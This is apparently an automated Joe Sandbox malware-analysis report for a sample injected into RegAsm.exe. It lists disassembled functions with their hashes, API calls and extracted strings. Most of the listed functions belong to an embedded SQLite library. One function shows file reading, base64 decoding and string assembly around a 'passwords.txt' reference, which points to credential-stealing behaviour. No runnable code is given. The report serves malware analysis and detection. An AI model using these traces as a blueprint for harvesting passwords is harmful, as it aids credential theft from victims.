Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19dd69ad4460aca1bdb954efef251795dad2c2686a03efe513b1b615aa7780c7
Instruction ID: 87d396288cfd9376c280a8ab3fd8816b4f642954fab289c946eb177e12716428
Opcode Fuzzy Hash: 19dd69ad4460aca1bdb954efef251795dad2c2686a03efe513b1b615aa7780c7
Instruction Fuzzy Hash: 000171B56041419BE705CF28F944E1677DAEF99258F150428E544D7313EA21EE19C7A3

Function 1FEE8430 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 875602c2f73a52c0c9a6f148e04de174215d237d3759911a04e6fd69f05410ec
Instruction ID: b8f8409891c4528cef5173446ef58b913d8b4d34656d9a7090b2bfd15afd82f0
Opcode Fuzzy Hash: 875602c2f73a52c0c9a6f148e04de174215d237d3759911a04e6fd69f05410ec
Instruction Fuzzy Hash: C7B048B6408741BFAB41AA088C0087AB6AAFBC0220F948C4CB5A440020D33698289A12

Function 1FEB42AF Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00004214), ref: 20054A98

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 7357d758358b5a6395504bc7490bcc6b5ba63c048b4686cf05ee2d9cff939561
Instruction ID: 8bca4968f590c6f9349bb90526ae7c6c5811e0d076ee7d34e3c91529567e1f47
Opcode Fuzzy Hash: 7357d758358b5a6395504bc7490bcc6b5ba63c048b4686cf05ee2d9cff939561
Instruction Fuzzy Hash: 4E9002F05945125B7D509B92DE0D88879247686A057110074610D64424491D0115F637

Function 0040110D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f96b6833605b0715f9484dbe982297a654c379e9a96f2571680b3f7b5e8fa17
Instruction ID: 43cdf4ecb647160fda175e5076d83385583e07dd488e496ff266cef725db0fb4
Opcode Fuzzy Hash: 9f96b6833605b0715f9484dbe982297a654c379e9a96f2571680b3f7b5e8fa17
Instruction Fuzzy Hash: 7ED092B1509719AFDB288F5AE480896FBE8EE48274750C42EE8AE97700C231A8408B90

Function 0040147A Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction ID: 6edc1f77bc014f77afb1dd4525fcd7db61d9a3eb149a076bd6fc7a55924a73f3
Opcode Fuzzy Hash: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction Fuzzy Hash: D9C08C72529208EFD70DCB84D613F5AB3FCE704758F10409CE00293780C67DAB00CA58

Function 00401492 Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction ID: 5941d710df6caaa93d6ffa2de60dce8e613dec4f923ccdd24a2439a3e016513d
Opcode Fuzzy Hash: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction Fuzzy Hash: DAA002315569D48ECE53D7158260F207BB8A741A41F0504D1E491C6863C11CDA50D950

Function 1FF95660 Relevance: 56.5, APIs: 26, Strings: 6, Instructions: 452COMMON

Download Yara Rule

Strings

,%.*s, xrefs: 1FF95804, 1FF95835
D$ , xrefs: 1FF956A3
CREATE TABLE x(%.*s INT, xrefs: 1FF957CA
Auxiliary rtree columns must be last, xrefs: 1FF956B3, 1FF958B3
_node, xrefs: 1FF9579E
p$ , xrefs: 1FF956AB

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: ,%.*s$Auxiliary rtree columns must be last$CREATE TABLE x(%.*s INT$D$ $_node$p$
API String ID: 0-3645239810
Opcode ID: c8d57fcc1b727e867f8eea033f5085b7dcd0a2317dd5ff7619ef4019731138e8
Instruction ID: f231d0c35a4d8af2850e9eb927461af09ac46ebbcc2ec970b8058d03ef0c865f
Opcode Fuzzy Hash: c8d57fcc1b727e867f8eea033f5085b7dcd0a2317dd5ff7619ef4019731138e8
Instruction Fuzzy Hash: 77F1E0755047019FF7108F64CC88B5AB7E8BF88304F08052DFD4A96222EB7AF955DBA6

Function 0040A7CE Relevance: 56.2, APIs: 31, Strings: 1, Instructions: 211stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040A891
GetFileSize.KERNEL32(00000000,00000000), ref: 0040A899
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040A8A5
??_U@YAPAXI@Z.MSVCRT(00000001), ref: 0040A8AF
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0040A8C1
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040A8CD
RtlAllocateHeap.NTDLL(00000000), ref: 0040A8D4
StrStrA.SHLWAPI(?), ref: 0040A8E5
StrStrA.SHLWAPI(00000000), ref: 0040A8FF
lstrcat.KERNEL32(00000000), ref: 0040A912
lstrcat.KERNEL32(00000000,?), ref: 0040A91C
lstrcat.KERNEL32(00000000,0043634C), ref: 0040A928
lstrcat.KERNEL32(00000000,?), ref: 0040A932
lstrcat.KERNEL32(00000000,00436350), ref: 0040A93E
lstrcat.KERNEL32(00000000), ref: 0040A94B
lstrcat.KERNEL32(00000000,00000000), ref: 0040A953
lstrcat.KERNEL32(00000000,00436354), ref: 0040A95F
StrStrA.SHLWAPI(-000000FE), ref: 0040A96F
StrStrA.SHLWAPI(00000014), ref: 0040A97F
lstrcat.KERNEL32(00000000), ref: 0040A992

Part of subcall function 0040A690: lstrlen.KERNEL32(?,00000001,?,?,00000000,00000000), ref: 0040A6E8
Part of subcall function 0040A690: CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 0040A6F0

lstrcat.KERNEL32(00000000,00000000), ref: 0040A9A1
lstrcat.KERNEL32(00000000,00436358), ref: 0040A9AD
StrStrA.SHLWAPI(-000000FE), ref: 0040A9BD
StrStrA.SHLWAPI(00000014), ref: 0040A9CD
lstrcat.KERNEL32(00000000), ref: 0040A9E0

Part of subcall function 0040A690: lstrcat.KERNEL32(004357F6,004357FA), ref: 0040A79D
Part of subcall function 0040A690: lstrcat.KERNEL32(004357F6,004357FB), ref: 0040A7B3

lstrcat.KERNEL32(00000000,00000000), ref: 0040A9EF
lstrcat.KERNEL32(00000000,0043635C), ref: 0040A9FB
lstrcat.KERNEL32(00000000,00436360), ref: 0040AA07
StrStrA.SHLWAPI(-000000FE), ref: 0040AA17
lstrlen.KERNEL32(00000000), ref: 0040AA35
CloseHandle.KERNEL32(?), ref: 0040AA64

Strings

passwords.txt, xrefs: 0040AA41

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$Filelstrcpy$lstrlen$HeapPointer$AllocateBinaryCloseCryptHandleProcessReadSizeString
String ID: passwords.txt
API String ID: 1512581074-347816968
Opcode ID: cb071287913164907fb19ee83f5273908414e650f936e086d7a26d40344eec1d
Instruction ID: d7582238cf45060826c01603205a7f3e9eb60cdd893d5b85fc00eeb8bcb84891
Opcode Fuzzy Hash: cb071287913164907fb19ee83f5273908414e650f936e086d7a26d40344eec1d
Instruction Fuzzy Hash: 50718C72900115BBCB01AFA1ED49DDE7B7AEF49305F005035FA02B21B1CB799955CBE9

Function 1FEDCC80 Relevance: 47.7, APIs: 15, Strings: 12, Instructions: 470COMMON

Download Yara Rule

Strings

%04d-%02d-%02d, xrefs: 1FEDCE82
%lld, xrefs: 1FEDD0EE
%06.3f, xrefs: 1FEDCE5F
%.16g, xrefs: 1FEDCFB3
%.3f, xrefs: 1FEDD0BF
%2d, xrefs: 1FEDCE27
%02d, xrefs: 1FEDCE2C, 1FEDCE34, 1FEDCF27, 1FEDCF6F, 1FEDCFCE, 1FEDCFE9, 1FEDD10A
%03d, xrefs: 1FEDCF81, 1FEDCF8B
%02d:%02d, xrefs: 1FEDD080
%02d:%02d:%02d, xrefs: 1FEDD12E
u, xrefs: 1FEDD16D
%04d, xrefs: 1FEDD1CE

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %.16g$%.3f$%02d$%02d:%02d$%02d:%02d:%02d$%03d$%04d$%04d-%02d-%02d$%06.3f$%2d$%lld$u
API String ID: 0-1613945299
Opcode ID: 5ec47417af5661d6efa1f3c97d072fa2b6de6f313147aa573526572801f5fdd1
Instruction ID: 3e0fc5782cb5de03a4b1ebeb3b3f2af07edcc77160ddcd60232e8edd9e002444
Opcode Fuzzy Hash: 5ec47417af5661d6efa1f3c97d072fa2b6de6f313147aa573526572801f5fdd1
Instruction Fuzzy Hash: B9F103B1908741ABE320CB64CC51F5FB7EAFFC9308F044A2DF98496641E73AE9458752

Function 1FF59120 Relevance: 45.9, APIs: 23, Strings: 3, Instructions: 355COMMON

Download Yara Rule

Strings

,%s, xrefs: 1FF59297
CREATE TABLE x(_shape, xrefs: 1FF59268
_node, xrefs: 1FF59202

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: ,%s$CREATE TABLE x(_shape$_node
API String ID: 0-1242591684
Opcode ID: 6bca04626e1d0b711c8bdefa91cb3aa8b377e9c885703ac8d9cac3b8f5c190b9
Instruction ID: 4798c39db35b501eda49767087cb6d49183560fd8e818a9d04f8b11075f78276
Opcode Fuzzy Hash: 6bca04626e1d0b711c8bdefa91cb3aa8b377e9c885703ac8d9cac3b8f5c190b9
Instruction Fuzzy Hash: 05C10575504701AFF7218F64CC88B5777A8FF45308F04452CE94A86622EFBAF925EBA1

Function 2000B050 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 251COMMON

Download Yara Rule

Strings

NULL, xrefs: 2000B267, 2000B324, 2000B325
%lld, xrefs: 2000B1DA, 2000B24C
%.16g, xrefs: 2000B217
(blob), xrefs: 2000B26C
%c%u, xrefs: 2000B2C3
%s(%d), xrefs: 2000B1B3
program, xrefs: 2000B2FB
BINARY, xrefs: 2000B0D3
,%s%s%s, xrefs: 2000B137
%.18s-%s, xrefs: 2000B192
k(%d, xrefs: 2000B0A5
vtab:%p, xrefs: 2000B283

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %.16g$%.18s-%s$%c%u$%lld$%s(%d)$(blob)$,%s%s%s$BINARY$NULL$k(%d$program$vtab:%p
API String ID: 0-900822179
Opcode ID: 285b540b35843a45a64f36ebfc8384a94b74a384d1c63cf3cc9daef1b7a739ae
Instruction ID: a0fff008d90ea20b4abe11cdb0f099f2459de052c09ba3c708604fa9595d3662
Opcode Fuzzy Hash: 285b540b35843a45a64f36ebfc8384a94b74a384d1c63cf3cc9daef1b7a739ae
Instruction Fuzzy Hash: 6891A1705083059BFB14DF94C884B6F77F6BF45308F644899E9858B253E72ADA068792

Function 1FECD820 Relevance: 35.2, APIs: 8, Strings: 12, Instructions: 223COMMON

Download Yara Rule

Strings

snippet, xrefs: 1FECD93C
offsets, xrefs: 1FECD956
optimize, xrefs: 1FECD9A4
fts3, xrefs: 1FECD9CA
fts4aux, xrefs: 1FECD840
fts3tokenize, xrefs: 1FECDA27
matchinfo, xrefs: 1FECD970, 1FECD98A
simple, xrefs: 1FECD8A9
porter, xrefs: 1FECD8EE
fts3_tokenizer, xrefs: 1FECD921
unicode61, xrefs: 1FECD90B
fts4, xrefs: 1FECD9F0

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 0-449611708
Opcode ID: 8a89762eb930815352dfc1ed4518d0ee28631c7f57149604a97b38fe38cdeb80
Instruction ID: f78d8dbbdff4aac9a093f6d6196656d1c9552975331a1ceaa303d51d79699fac
Opcode Fuzzy Hash: 8a89762eb930815352dfc1ed4518d0ee28631c7f57149604a97b38fe38cdeb80
Instruction Fuzzy Hash: 4E510B71A0470277F2205BA49DD5F5F7698AF0071CF040134FE28A6356FBABF616D2A6

Function 1FED2BE0 Relevance: 31.8, APIs: 8, Strings: 10, Instructions: 346COMMON

Download Yara Rule

Strings

NULL, xrefs: 1FED2E38
%s at line %d of [%.10s], xrefs: 1FED2E78
misuse, xrefs: 1FED2E73
ORDER BY name, xrefs: 1FED2DCC
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FED2E69
API call with %s database connection pointer, xrefs: 1FED2E5A
WHERE name=%Q, xrefs: 1FED2DB7
invalid, xrefs: 1FED2E4E
unopened, xrefs: 1FED2E55
SELECT * FROM (SELECT 'sqlite_schema' AS name,1 AS rootpage,'table' AS type UNION ALL SELECT name,rootpage,type FROM "%w".sqlite_schema WHERE rootpage!=0), xrefs: 1FED2DA4

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
